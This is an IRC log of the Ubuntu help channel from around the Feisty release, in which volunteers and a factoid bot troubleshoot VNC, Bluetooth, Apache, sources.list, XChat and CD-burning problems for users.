[06:56] <Nubbie> DVS01: in your session make gdesklets have a lower # than beryl.
[06:56] <k-edgy> everytime i shutdown/restart my pc, i get this error: [17184476.244000]  unregister_netdevice: waiting for vmnet1 to become free. Usage count=1
[06:56] <Nubbie> DVS01: or if you load beryl via a GDM login script, enter gdesklets in there in front of beryl.
[06:56] <n00bie> Nubbie, http://www.pastebin.ca/445916 < here's the lsusb output
[06:56] <jpsamara> Madpilot: Nubbie: Thank
[06:56] <k-edgy> anyone?
[06:56] <jpsamara> Madpilot: Nubbie: Thanks
[06:56] <bagguetto> ack. got disconnected. did i miss anything?
[06:57] <k-edgy> everytime i shutdown/restart my pc, i get this error: [17184476.244000]  unregister_netdevice: waiting for vmnet1 to become free. Usage count=1
[06:57] <Nubbie> n00bie: perhaps in the lspci that unkown texas instruments thing is your bluetooth.
[06:57] <jpsamara> But I wanted a GTK replacement for Azureus... something with more features
[06:57] <DVS01> thanks
[06:57] <disinterested> my downloads bar in the window doesnt move how can i fix it?
[06:57] <k-edgy> i end up turning off the pc manually with the power button
[06:57] <Nubbie> jpsamara: i gave you a link. http://ubuntuforums.org/showthread.php?t=234700
[06:57] <Free45> Hello everyone, does anyone know for any Zune MP3 player support?
[06:57] <ardchoille> phewl: System -> Preferences -> Removable Drives and Media.. go to the Multimedia tab and make your changes.
[06:57] <Free45> *anyone know anything about Zune support.
[06:57] <jpsamara> Nubbie: yeah looking into it
[06:57] <k-edgy> help
[06:58] <apus> what folder is acceptable to mount a disk to be used as data storage
[06:58] <n00bie> Nubbie, ok how do I discover that ?
[06:58] <FireHazard17> jpsamara: why does anyone even have a zune
[06:58] <Nubbie> Free45: install banshee. Read their MTP guide on their website, and know that the implementation isn't perfect, and it currently suffers from memory leaks, but it's functional enough.
[06:58] <k-edgy> help
[06:58] <n00bie> Nubbie, I dunno how do I use my bluetooth device ?
[06:58] <Nubbie> apus: /mount/whatever i said earlier.
[06:58] <Free45> Nubbie: Thank you.
[06:58] <n00bie> Nubbie, hcitool scan < No such a device
[06:58] <FireHazard17> jpsamara: and its a M$ product so it wont have much support on linux
[06:58] <Nubbie> n00bie: i don't know much about bluetooth and linux, i don't use it.
[06:58] <squiggie> can anyone tell me why starting remote desktop from within gnome on Ubuntu allows me to connect but then starting vncserver from ssh won't? Isn't that what is launched from within ubuntu in the gui, isn't it vncserver?
[06:59] <k-edgy> everytime i shutdown/restart my pc, i get this error: [17184476.244000]  unregister_netdevice: waiting for vmnet1 to become free. Usage count=1
[06:59] <FireHazard17> jpsamara: they lock down their products pretty hard
[06:59] <Nubbie> firehazard17: microsoft did not make that program.
[06:59] <Nubbie> NEVER MIND
[06:59] <Nubbie> :l
[06:59] <Nubbie> ugh i thought you were talking about that torrent program i linked her up with.
[06:59] <FireHazard17> oops i sent it to the wrong person
[06:59] <Nubbie> k-edgy: be patient??
[06:59] <ardchoille> !patience | k-edgy
[06:59] <ubotu> k-edgy: The people here are volunteers, your attitude may determine how fast you are helped.  Not everyone is available all the time, likewise not every answer is available instantly. See also http://wiki.ubuntu.com/IrcGuidelines
[06:59] <jpsamara> FireHazard17: I think you should talk to Free45
[06:59] <k-edgy> okay
[07:00] <FireHazard17> yes sorry samara
[07:00] <k-edgy> :)
[07:00] <Nubbie> k-edgy: i used to get that too. reinstall vmware-player perhaps.
[07:00] <n00bie> Anybody here familiar with bluetooth built-in devices
[07:00] <k-edgy> okay
[07:00] <k-edgy> thanx nubbie
[07:00] <Nubbie> n00bie: ask a specific question
[07:00] <FireHazard17> it think bluetooth works better with kde
[07:00] <runjun> how do you set up a dual screen
[07:00] <Nubbie> n00bie: i know i already know what your problem is, but others may not.
[07:01] <ardchoille> !dual
[07:01] <ubotu> Sorry, I don't know anything about dual - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:01] <Nubbie> !dualhead
[07:01] <ubotu> Information about dual-head on linux can be found on http://wiki.linuxquestions.org/wiki/DualHead - See also !Xinerama
[07:01] <ardchoille> !search dual
[07:01] <ubotu> Found: oin, nvu, xinerama, boot, dual-head, dualmonitor, dualhead, dual-boot, dual boot, dual head
[07:01] <n00bie> my bluetooth doesn't work in my toshiba laptop
[07:01] <n00bie>  I dunno how do I use my bluetooth device ?
[07:01] <squiggie> !vncserver
[07:01] <ubotu> Sorry, I don't know anything about vncserver - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:01] <n00bie> hcitool scan < No such a device
[07:01] <Nubbie> n00bie: do you know what vender made the bluetooth?
[07:01] <apus> k3b wont burn anything, I get error 255 when I click the burn button, the disk doesn't even spin
[07:02] <mungewell> n00bie - does it show up in lsusb or lspci?
[07:02] <Nubbie> apus: is it complaining about privileges?
[07:02] <apus> no
[07:02] <Nubbie> mungwell: nope.
[07:02] <squiggie> can anyone tell me why starting remote desktop from within gnome on Ubuntu allows me to connect but then starting vncserver from ssh won't? Isn't that what is launched from within ubuntu in the gui, isn't it vncserver?
[07:02] <Nubbie> mungewell: i thought i would see it in there. there is an unknown texas instruments device however, which may be his bluetooth.
[07:02] <apus> "unknown error 255"
[07:03] <n00bie> mungewell, here's my lspci > http://www.pastebin.ca/445909
[07:03] <ardchoille> apus: http://www.google.com/search?hl=en&q=%22error+255%22%2Bk3b&btnG=Search
[07:03] <n00bie> mungewell, and here's my lsusb > http://www.pastebin.ca/445916
[07:03] <Nubbie> squiggie: you need to start the ssh and have it tunnel port 5900, and then the vncviewer needs to connect to localhost.
[07:03] <mungewell> Nubbie - it's possible it's an unsupported device. The fact that there's number supports that theory.
[07:03] <bob_> anyone *NOT* running feisty here?
[07:03] <n00bie> Nubbie, no
[07:04] <da_shrewd> hello
[07:04] <Nubbie> !anyone | bob_
[07:04] <ubotu> bob_: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?
[07:04] <da_shrewd> anybody can help me?
[07:04] <Nubbie> !anyone > da_shrewd
[07:04] <ardchoille> da_shrewd: With what?
[07:04] <da_shrewd> how to repair deleted apache2 folder
[07:04] <Greenbox> i've just reconfigured my xserver-xorg package, and now my mouse is missing
[07:04] <Greenbox> any ideas?
[07:04] <mungewell> Nubbie - try 'lspci -vnn'
[07:04] <Nubbie> da_shrewd: check your trash bins?
[07:04] <bob_> did it fall off the desk?
[07:04] <ardchoille> lol
[07:04] <valehru_> How can I add a *.pfb font to ubuntu?
[07:04] <valehru_> !font
[07:04] <ubotu> Font installation basics here: https://help.ubuntu.com/community/FontInstallHowto - No fonts in Flash? Install "msttcorefonts" (from !Multiverse), "gsfonts", and "gsfonts-x11". No fonts in MPlayer? see !MPlayer
[07:05] <Greenbox> bob_, lol, it's invisible
[07:05] <Nubbie> valehru_: what kind of format is that?
[07:05] <da_shrewd> theres nothin trash bin
[07:05] <bob_> ?
[07:05] <squiggie> Nubbie, I'm talking about connecting to vncviewer on a local network. When I start it from gnome, it works and allows me to connect from my laptop. If I'm on my laptop and ssh into ubuntu and then start vncserver, it won't allow me to connect
[07:05] <valehru_> Nubbie, no clue, but its what I have
[07:05] <Nubbie> da_shrewd: and you deleted it with a rm -R in command line?
[07:05] <da_shrewd> i'm accidently delete using command
[07:05] <apus> well it burned! but it got a buffer error (k3b)
[07:05] <n00bie> mungewell, ??
[07:05] <da_shrewd> yes rm-r command line
[07:05] <Nubbie> da_shrewd: you're screwed then. there is no way to recover it.
[07:05] <mungewell> n00bie - gives more information.
[07:05] <Nubbie> da_shrewd: be more careful in the future.
[07:05] <corden> guys where can i find this ubuntu theme? http://youtube.com/watch?v=xC5uEe5OzNQ
[07:05] <da_shrewd> so, what can i do?
[07:06] <da_shrewd> i reinstall apache
[07:06] <n00bie> mungewell, hold on
[07:06] <cm> HI
[07:06] <da_shrewd> but, the folder not exist
[07:06] <BaAckUp> i need help
[07:06] <r4v5> squiggie: vncserver does start when you use the command line, though?
[07:06] <cm> who is mexican?
[07:06] <Nubbie> squiggie: because you didn't tunnel the port vnc uses, or you aren't connecting with the viewer to localhost:tunneledport from the client computer.
[07:06] <Nubbie> squiggie: read a guide on the internet.
[07:07] <Nubbie> squiggie: also make sure that port 22 is forwarded on your local router.
[07:07] <BaAckUp> i installed ubuntu and installed xchat too but problem is i cant connect to any servers
[07:07] <da_shrewd> Nubbie, what can i do to solve my problem?
[07:07] <Nubbie> !anyone > cm
[07:07] <Nubbie> cm: spanish language support in #ubuntu-es
[07:07] <runjun> is there an easy solution to dual monitors
[07:07] <BaAckUp> i installed ubuntu and installed xchat too but problem is i cant connect to any servers
[07:07] <r4v5> BaAckUp: does the rest of the internet-touching part of your installation work?
[07:07] <corden> did anybody installed this theme http://youtube.com/watch?v=xC5uEe5OzNQ
[07:07] <Nubbie> da_shrewd: i told you you CANNOT solve your problem. you deleted it permanently.
[07:08] <BaAckUp> yeah i can connect to yahoo and browse the web
[07:08] <Nubbie> da_shrewd: make backups next time.
[07:08] <r4v5> okay
[07:08] <wastrel> corden:  that's beryl.  try #ubuntu-effects
[07:08] <BaAckUp> but just Xchat is having problem
[07:08] <DVS01> upon loading up gnome, the loading thing never goes away. it is stuck at 'The Panel'.  it takes like half a minute for it to finish loading. i think this had something to do with automatically saving my session
[07:08] <corden> oic tnx wastrel
[07:08] <squiggie> Nubbie, no, there is no need to tunnel or forward any ports because this is a windows client on a lan, not anything through a router right now.
[07:08] <r4v5> do you have a firewall, router, or similar thing that could be blocking internet access?
[07:08] <Flannel> da_shrewd: remove apache2-common, with --purge, then reinstall
[07:08] <Nubbie> squiggie: read a guide.
[07:08] <Nubbie> flannel: why?
[07:09] <n00bie> mungewell, http://www.pastebin.ca/445924 < here's my lspci -vnn
[07:09] <da_shrewd> flannel, how to type the command?
[07:09] <BaAckUp> i have installed ubuntu  i dont know if ubuntu have firewalled installed
[07:09] <Nubbie> flannel: he just removed his website's folder.
[07:09] <BaAckUp> firewall installed *
[07:09] <apus> now I am getting a different error with k3b "probably a buffer underun"
[07:09] <Nubbie> da_shrewd: ignore that. you'll have to create a new website in /var/www/
[07:09] <Flannel> Nubbie: he removed /etc/apache2
[07:09] <Nubbie> ohhh!
[07:09] <Nubbie> da_shrewd: you failed to mention that to me.
[07:09] <Flannel> da_shrewd: sudo apt-get remove --purge apache2-common
[07:09] <Nubbie> da_shrewd: do what flannel says.
[07:10] <da_shrewd> i have the folder /var/www
[07:10] <Centaur5> Now that Nvidia and ATI have graphical utilities to configure multiple displays is there something in progress for Intel?
[07:10] <Flannel> da_shrewd: then reinstall apache2
[07:10] <n00bie> mungewell, ??
[07:11] <squiggie> Nubbie, ok, I just looked at the man for vncserver and it doesn't say anything about tunneling or anything. Here is my question. What is the difference between starting remote desktop from the gnome menu and just starting vncserver from cmd line?
[07:12] <Nubbie> squiggie: there is no difference.
[07:12] <Nubbie> squiggie: it's the same program.
[07:12] <mungewell> n00bie - that unknow device appears to be a SD card reader..... are you sure you've go bluetooth ;-)  check lsusb
[07:12] <^^kalm> Does anyone find Feisty (beta) a bit slow?
[07:12] <Nubbie> mungewell: i didn't think that that device was his bluetooth.
[07:12] <r4v5> squiggie: it could have a command line arg to pull in a different environment, like having a different .xinitrc
[07:12] <Nubbie> !anyone > ^^kalm
[07:13] <Flannel> ^^kalm: #ubuntu+1 for Feisty
[07:13] <n00bie> mungewell, I've SD reader though and bluetooth too
[07:13] <Nubbie> ^^kalm: make sure you update your packages, they have made a fix in beagle. beagle was indexing too heavily.
[07:13] <DVS01> when i log in to gnome, my desklets end up not being snapped to the edge of the screen. they are off by like 20 pixels. is there a way to have them come back in the same spot?
[07:13] <Nubbie> n00bie: who manufactured your bluetooth module?
[07:13] <ardchoille> Nubbie: That's good to know, I quit using Beagle because of that.
[07:14] <Nubbie> DVS01: gdesklets has an offset option.
[07:14] <n00bie> Nubbie, dunno toshiba perhaps
[07:14] <Nubbie> ardchoille: it's humming perfectly now.
[07:14] <sanityx> I can't seem to get Feisty to boot at all
[07:14] <ardchoille> Cool
[07:14] <Nubbie> n00bie: i doubt that.
[07:14] <sanityx> I just get a black screen after a while, and i can even eject the cd
[07:14] <Nubbie> n00bie: i don't know what else to tell you.
[07:14] <valehru_> How can I unzip say 50 .rar files in recursive folders all at once?
[07:14] <mungewell> n00bie - are you shure its a PCI device... sometimes they put internal devices on USB
[07:15] <^^kalm> sanityx: as in, you cant boot the live cd?
[07:15] <DVS01> Nubbie: upon loading up gnome, the loading dialog with the ubuntu logo takes too long. it is stuck at 'The Panel'.  it takes like half a minute for it to finish loading. do you know why this would be happening?
[07:15] <Nubbie> sanityx: bad burn? BIOS set up to boot from cd?
[07:15] <sanityx> ^^kalm, yes.
[07:15] <sanityx> Nubbie, it boots from cd
[07:15] <sanityx> ive burned it twice
[07:15] <^^kalm> sanityx: You got a laptop?
[07:15] <sanityx> the cd boots fine in vmware
[07:15] <sanityx> yes its a laptop, but it boots 6.10 fine
[07:15] <squiggie> r4v5, any ideas what that command line might be? If it as Nubbie says and it is the same program, starting it from gui works just fine but starting it from cmd line doesn't work at all
[07:15] <Nubbie> DVS01: disable the ubuntu splash screen.
[07:15] <n00bie> Nubbie, here's my bluetooth module > bluetooth              53476  5 hidp,rfcomm,l2cap
[07:15] <Nubbie> DVS01: you're running beryl thats why.
[07:15] <r4v5> valehru_: for i in "file1.rar file2.rar file3.rar" ; do unrar e $i ; done
[07:15] <DVS01> Nubbie: this hasnt happened before though.. and its taking a while for beryl and other stuff to start up
[07:15] <sanityx> I donnu what to do
[07:16] <DVS01> i think it happened after i saved my session
[07:16] <n00bie> mungewell, its a builtin bluetooth device
[07:16] <Nubbie> n00bie: so maybe it's set up correctly, but not functioning?
[07:16] <r4v5> unless you mean you have a file called file1.rar that expands to a directory file1/ with file2.rar in it, in which case, it's just
[07:16] <r4v5> for i in "file1.rar file1/file2.rar file1/file2/file3.rar" ; do unrar e $i ; done
[07:16] <n00bie> Nubbie, yeah perhaps
[07:16] <^^kalm> sanityx: the basics i can tell you is, get a cotton wab and and raw alcohol and carefully clean your laser in the CD Drive
[07:16] <Nubbie> DVS01: its because of beryl. disable gnome's splash screen. all other support for beryl/compiz belongs in #ubuntu-effects
[07:16] <sanityx> ^^kalm, boots any other cd fine.
[07:16] <n00bie> Nubbie, how do i let it functioning ?
[07:16] <^^kalm> sanityx: or just re do it
[07:16] <r4v5> squiggie: what do you get when you try to connect from the other machine?
[07:16] <Nubbie> n00bie: i don't know.
[07:16] <DVS01> Nubbie: how do i disable the splash screen?
[07:16] <mungewell> n00bie -- but it *must* be connected to a bus somewhere. Repeat - sometimes they use internal USB connections....
[07:16] <^^kalm> sanityx: i mean reboot the CD
[07:17] <r4v5> does it completely not connect or does it at least handshake and all that
[07:17] <sanityx> ^^kalm, i have like 5 times
[07:17] <Nubbie> n00bie: but apparently it's being recognized by your system.
[07:17] <squiggie> r4v5, failed to connect
[07:17] <BaAckUp> i dont have firewalls
[07:17] <^^kalm> sanityx: It took me a few tries aswell... for some reason
[07:17] <DVS01> Nubbie: also, for some reason, kopete ends up autostarting now
[07:17] <Nubbie> mungewell: internal USB connections would've appeared in lsusb.
[07:17] <BaAckUp> i can connect to other things through port 6666
[07:17] <Nubbie> mungewell: doesn't matter whether or not it's internal.
[07:17] <da_shrewd> nubbie : Package apache2-common has no available version, but exists in the database.
[07:17] <da_shrewd> This typically means that the package was mentioned in a dependency and never uploaded, has been obsoleted or is not available with the contents of sources.list
[07:18] <n00bie> mungewell, do you have a solution to fetch it?
[07:18] <Flannel> da_shrewd: pastein your sources.list
[07:18] <Nubbie> DVS01: so remove it from your session. i don't know how KDE works.
[07:18] <BaAckUp> CAN ANYONE READ ME !?
[07:18] <n00bie> Nubbie, getting screwed
[07:18] <Flannel> !caps | BaAckUp
[07:18] <ubotu> BaAckUp: PLEASE DON'T SHOUT! We can read lowercase too.
[07:18] <Nubbie> !patience baackup
[07:18] <BaAckUp> oikey
[07:18] <da_shrewd> how can i do that? i'm quite beginner, can u guide me?
[07:18] <mungewell> Nubbie - correct, have you checked 'lsusb' I haven't seen the output and it doesn't look like it listed on the PCI bus.
[07:18] <^^kalm> !hello
[07:18] <ubotu> Sorry, I don't know anything about hello - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:18] <ardchoille> BaAckUp: Are you looking for a firewall config app?
[07:18] <Nubbie> mungewell: there is absolutely nothing in lsusb but his mouse.
[07:19] <DVS01> Nubbie: its gnome actually. i think i found the culprit.. a previously saved session seems to have been taking a long time to load up, causing everything else to hang. im gonna see if i just fixed it
[07:19] <r4v5> squiggie: it could be on a different display. if you don't have X started already, it could be on <serverip>:0 instead of <serverip>:1, if you do it remotely
[07:19] <^^kalm> !cd
[07:19] <ubotu> Sorry, I don't know anything about cd - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:19] <^^kalm> !iso
[07:19] <ubotu> To mount an ISO disc image, type  sudo mount -o loop <ISO-filename> <mountpoint>  - There is a list of useful cd image conversion tools at http://wiki.linuxquestions.org/wiki/CD_Image_Conversion - Always verify the ISO using !MD5 before !burning.
[07:19] <r4v5> but if vncserver is running there should be a port SOMEWHERE listening for it
[07:19] <Flannel> da_shrewd: open up /etc/apt/sources.list in a text editor, and copy/paste it into the form of the pastebin (its in the topic), then hit submit (or whatever), get the URL, and paste the URL back here
[07:19] <BaAckUp> ardchoille ubuntu has firewall installed defaulty ?
[07:19] <Nubbie> ^^kalm: can you teake it easy on the bot?
[07:19] <Flannel> BaAckUp: yes.  But it isn't doing anything by default.
[07:19] <ardchoille> BaAckUp: Yes, it uses iptables, but firestarter is a nice gui to config it.
[07:19] <^^kalm> Nubbie: File
[07:19] <r4v5> you could try to telnet to 5900 to 5920 or so to see if the server offset is different
[07:19] <mungewell> r4v5 - do a 'netstat -an' and check whether VNCserver is only loopback/127.0.0.1
[07:19] <^^kalm> Nubbie: Fine***
[07:20] <drarem> think i found the menu - in ~./gconf/desktop..
[07:20] <BaAckUp> i want to connect on irc through Xchat i have just installed ubuntu and i havnt played with anything else
[07:20] <squiggie> r4v5, no session works if I start the server via cmd line, neither ip:0 or ip:1 or whatever I start it on, however starting it from gui works fine everytime
[07:20] <BaAckUp> i dont think i have enabled firewall
[07:20] <ardchoille> !firestarter | BaAckUp
[07:20] <ubotu> BaAckUp: Ubuntu, like any other linux distribution, has firewall capabilities built-in. The firewall is managed using the 'iptables' command (see https://help.ubuntu.com/community/IptablesHowTo), or GUI applications such as Firestarter (Gnome) or Guarddog (KDE).
[07:20] <da_shrewd> flannel, where i can paste the sources list?
[07:20] <Nubbie> r4v5: he's also trying to ssh the vnc session. please explain to him that you need to point the vnc client to localhost when using ssh?
[07:20] <bokey> !pastebin | da_shrewd
[07:20] <ubotu> da_shrewd: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[07:20] <r4v5> ooh, that's a good point, mungewell. you could be only accepting localhost connections from the command line whereas the gnome menu item has something to allow connections from the other server.
[07:21] <n00bie> mungewell, /
[07:21] <becj> hi
[07:21] <r4v5> Nubbie: no, he's trying to start a vnc session from ssh, so he can bootstrap console -> gui
[07:21] <BaAckUp> ardchoille can u give me ur messenger cuz right now i m on windows and i just can connect to messenger through ubuntu
[07:21] <BaAckUp> so if i get any problems i can ask u
[07:21] <r4v5> you don't need to point the vnc client to localhost unless you've set up a port forward, which is pointless over a trusted wired network
[07:21] <ardchoille> BaAckUp: I don't use im
[07:21] <becj> how can i configure my vga card in the ubuntu dapper 6.06??
[07:21] <BaAckUp> anyone msn yahoo ?
[07:21] <Nubbie> baackup: why not join a private room on IRC?
[07:21] <BaAckUp> so i can ask
[07:21] <denys> hey, I have a question. How can I connect to a hidden ESSID?
[07:22] <Nubbie> baackuP: you can wait patiently like everyone else.
[07:22] <da_shrewd> ok, guys
[07:22] <BaAckUp> Nubbie thats the problem man! i cant join
[07:22] <BaAckUp> urc
[07:22] <BaAckUp> irc
[07:22] <Nubbie> baackup: you're on IRC right now.
[07:22] <BaAckUp> i m on windows
[07:22] <BaAckUp> right now
[07:22] <squiggie> Nubbie, no, I'm not trying to ssh into the vnc session, I'm simply ssh into the box to start the vnc by cmd line
[07:22] <mungewell> becj - what are you trying to achieve?
[07:22] <becj> the xorgconfig command don't works... somewhere can help with this?
[07:22] <TokenBad> I am trying the ubuntu dapper live cd...and installed john...but when tried to run it...says read only file system
[07:22] <Nubbie> squiggie: i understand now.
[07:22] <BaAckUp> i cant connect to irc through gaim or xchat from ubuntu
[07:22] <Flannel> !enter | BaAckUp
[07:22] <ubotu> BaAckUp: Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[07:22] <mungewell> squiggie - start the server or the client?
[07:22] <BaAckUp> thats the main problem
[07:22] <da_shrewd> flannel : http://paste.ubuntu-nl.org/16194/
[07:23] <squiggie> Nubbie, sorry for the confusion
[07:23] <Nubbie> squiggie: ssh into it and run sudo /etc/init.d/sshd start i believe.
[07:23] <ardchoille> da_shrewd: uh oh
[07:23] <Flannel> Nubbie: do you realise the... irony of that?
[07:23] <newseeker> how can I set up that VLC is the player in firefox that plays mpeg files on websites?  thanks
[07:23] <squiggie> Flannel, LOL
[07:23] <becj> ...
[07:23] <Nubbie> flannel: kinda?
[07:24] <r4v5> Nubbie: s/sshd/vncserver/ ?
[07:24] <becj> how to set my vga card in ubuntu??????
[07:24] <BaAckUp> The Problem is : from ubuntu i m not being able to connect on irc through neither gaim nor xchat so i need someone's messenger for help
[07:24] <squiggie> Nubbie,  no need to start sshd if I'm already ssh into the server
[07:24] <becj> how to set xorg?
[07:24] <newseeker> !vlc plugin
[07:24] <ubotu> Sorry, I don't know anything about vlc plugin - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:24] <teb> how do i uninstall rhythmbox without uninstalling ubuntu-desktop as well?
[07:24] <da_shrewd> flannel : http://paste.ubuntu-nl.org/16194/
[07:24] <bokey> does anyone know how to test apache installation after everything has been setup (NAT, server, firewall). To test basically.
[07:24] <BaAckUp> becj @ dpkg-reconfigure server-xorg
[07:24] <newseeker> !vlc firefox plugin
[07:24] <Nubbie> becj: run sudo dpkg-recoenfadsofasd
[07:24] <Nubbie> baackup: thanks for helping him
[07:24] <newseeker> !firefox vlc firefox plugin
[07:25] <BaAckUp> yeah okey Nubbie now u help me
[07:25] <peepsalot> BaAckUp, what error do you get?
[07:25] <BaAckUp> The Problem is : from ubuntu i m not being able to connect on irc through neither gaim nor xchat so i need someone's messenger for help
[07:25] <ardchoille> teb: ubuntu-desktop is just a meta package and is safe to remove.
[07:25] <Flannel> da_shrewd: wow.  THat's... one messed up sources.list; automatix is a bad thing.  I'm surprised you upgraded to feisty without it breaking your system
[07:25] <Nubbie> newseeker: its in universe repository, please search in synaptic
[07:25] <Flannel> !repeat | BaAckUp
[07:25] <ubotu> BaAckUp: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. You can search https://help.ubuntu.com or http://wiki.ubuntu.com while you wait. Also see !patience
[07:25] <teb> ardchoille: are you sure, i accidentally ended up having the entire kubuntu-desktop removed once which killed my system
[07:25] <r4v5> wow, you really CAN stop gdm from the console without it tripping out and rebooting the machine.
[07:25] <ardchoille> teb: kubuntu-desktop is just a meta package
[07:25] <newseeker> Nubbie, i have VLC installed already!  But how do I get firefox to use it to play mpeg and avi files on webpages?
[07:26] <mike> teb: it's safe mine's removed now
[07:26] <teb> ardchoille: okay i just wanted to make sure
[07:26] <teb> thanks mike
[07:26] <da_shrewd> flannel : feisty quite nice
[07:26] <mike> no prob
[07:26] <Nubbie> newseeker: search for the >plugin< in synaptic
[07:26] <Flannel> da_shrewd: automatix isnt.
[07:26] <squiggie> Nubbie r4v5, any more ideas?
[07:26] <Nubbie> squiggie: that didn't work?
[07:26] <da_shrewd> flannel :  I need to remove automatix?
[07:26] <ardchoille> !automatix | da_shrewd `
[07:26] <ubotu> da_shrewd `: automatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe
[07:26] <Flannel> !easysource | da_shrewd
[07:26] <ubotu> da_shrewd: source-o-matic is a webpage where you can (re)generate your sources.list - http://www.ubuntu-nl.org/source-o-matic
[07:26] <BaAckUp> anyone has answer to my question ?
[07:27] <legos> allo
[07:27] <Nubbie> baackup: patience please.
[07:27] <Flannel> da_shrewd: re-generate your sources.list for feisty, using that page.  Your problem is your missing some... important repositories
[07:27] <squiggie> Nubbie, what didn't work? I missed someting.
[07:27] <BaAckUp> okey
[07:27] <Nubbie> squiggie: running sudo /etc/init.d/sshd start from the ssh session?
[07:28] <peepsalot> BaAckUp, what error do you get when you try to connect?  the rest of your internet works ok under Ubuntu?
[07:28] <newseeker> Nubbie, it was mozilla-plugin-vlc
[07:28] <becj> BaAckUp: that returned this:  "package server-xorg not installed... annd blablabla"
[07:28] <Josesordo> hello
[07:28] <ardchoille> Nubbie: Doesn't sshd have to be running in order to ssh in?
[07:28] <teb> okay, so since i'm compiling rhythmbox myself when a new version comes out do i need to remove before i compile the new one?
[07:28] <r4v5> squiggie: try a netstat -an when you have vnc started from the console
[07:28] <becj> BaAckUp: apt-get don't find anything about server-xorg
[07:28] <BaAckUp> yeah resf ot internet works okey
[07:28] <Josesordo> somebody know how to write and do anything in ntfs partition?
[07:29] <Nubbie> newseeker: those who help themselves.... help me by doing so :) thanks guy.
[07:29] <r4v5> it may only be accepting connections from localhost, to try at some semblance of security
[07:29] <Flannel> !ntfs-3g | Josesordo
[07:29] <ubotu> Josesordo: ntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but please remember to keep backups of critical data. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)
[07:29] <r4v5> i don't remember if you said you've looked into that
[07:29] <Flannel> odat: Feisty can do it by default
[07:29] <da_shrewd> flannel: so, i must paste the generated sources  to sources list?
[07:29] <BaAckUp> error is not coming.. xchat just tries to cnnect it but cant connect
[07:29] <newseeker> Nubbie, when I try to play something through firefox webpage, its black screen and says: (no video)
[07:29] <Flannel> Josesordo, feisty can do it by default
[07:29] <BaAckUp> becj
[07:29] <Flannel> da_shrewd: yes
[07:29] <BaAckUp> go to terminal
[07:29] <becj> BaAckUp: ya
[07:29] <Nubbie> newseeker: restart firefox.
[07:29] <TokenBad> is there a way to run jtr in live cd?
[07:29] <newseeker> Nubbie, i did
[07:29] <alien__> can someone tell me why my network host name is different when i do 'hostname' and 'hostname -f' they should be the same can someone help me make it show the same?
[07:29] <BaAckUp> and type dpkg-reconfigure server-xorg
[07:29] <squiggie> r4v5, should I see 127.0.0.1:5900?
[07:29] <da_shrewd> ok, i try
[07:29] <Josesordo> well, I have edgy and wait the oficial version of feisty to change
[07:29] <r4v5> no, it should be *:5900
[07:30] <Flannel> BaAckUp: please stop hitting enter so much.  Type more on each line.
[07:30] <newseeker> Nubbie, any other ideas why VLC doesnt plauy any videos through firefox?
[07:30] <Josesordo> ubotu, I install ntfs-3g...and now?
[07:30] <BaAckUp> sorry @ Flannel
[07:30] <alien__> hi ubotu =))
[07:30] <n00bie> mungewell, here's my dmesg | grep Bl
[07:30] <mike> Josedoro: I don't know if it's edgy but look up ntfs-config
[07:30] <Nubbie> newseeker: i don't use VLC, so i can't begin to explain why. are you using beryl/compiz?
[07:30] <n00bie> [17179604.868000]  Bluetooth: Core ver 2.8
[07:30] <Flannel> !hostname | alien__
[07:30] <n00bie> [17179604.868000]  Bluetooth: HCI device and connection manager initialized
[07:30] <ubotu> alien__: Use hostname <somehostname> to set the hostname, or to do it permanently: edit /etc/hostname  and /etc/hosts . WARNING! Make sure that your current hostname and /etc/hosts match, otherwise sudo may not work properly. Alternatively, use the gui at system>administration>networking on the "General" tab
[07:30] <becj> BaAckUp: this returned errors, saying that i don't have package server-xorg installed
[07:30] <n00bie> [17179604.868000]  Bluetooth: HCI socket layer initialized
[07:30] <n00bie> [17179604.888000]  Bluetooth: L2CAP ver 2.8
[07:30] <newseeker> Nubbie, no
[07:30] <n00bie> [17179604.888000]  Bluetooth: L2CAP socket layer initialized
[07:30] <peepsalot> BaAckUp, you sure you have it configured for the correct server?  can you ping chat.freenode.net ?
[07:30] <n00bie> [17179604.892000]  Bluetooth: RFCOMM socket layer initialized
[07:30] <Nubbie> n00bie: pastebin
[07:30] <r4v5> or 0.0.0.0:5900. what that means is that it's only accepting connections from localhost. You can either look up the command line option in Xvnc or startvnc to make it accept connections elsehwere, or just use ssh tunnelling to connect that way.
[07:30] <n00bie> [17179604.892000]  Bluetooth: RFCOMM TTY layer initialized
[07:30] <drarem> heh  the time I spent researching this, I could have moved all my menu items over individually
[07:30] <newseeker> Nubbie, what you use?
[07:30] <mungewell> squiggie - that means it's bound to a specific interface (loopback), * would  be all interfaces.
[07:30] <n00bie> [17179604.892000]  Bluetooth: RFCOMM ver 1.7
[07:30] <n00bie> [17180735.664000]  Bluetooth: HIDP (Human Interface Emulation) ver 1.1-mh1
[07:30] <Nubbie> n00bie: stop please?
[07:31] <Nubbie> newseeker: the gstreamer plugin. gstreamer plays videos fine.
[07:31] <n00bie> Nubbie, sry
[07:31] <BaAckUp> becj @ re-install ubuntu it just takes 18 minutes
[07:31] <Nubbie> n00bie: you know about pastebin, why didn't you use it?
[07:31] <newseeker> Nubbie, how can I get the gstreamer plugin?
[07:31] <Josesordo> :s
[07:31] <squiggie> r4v5, what is ubuntu pastebin?
[07:31] <Frogzoo> anyone get tftpd working with xinetd? tried both atftpd & tftpd-hpa so far, neither works
[07:31] <peepsalot> !pastebin | squiggie
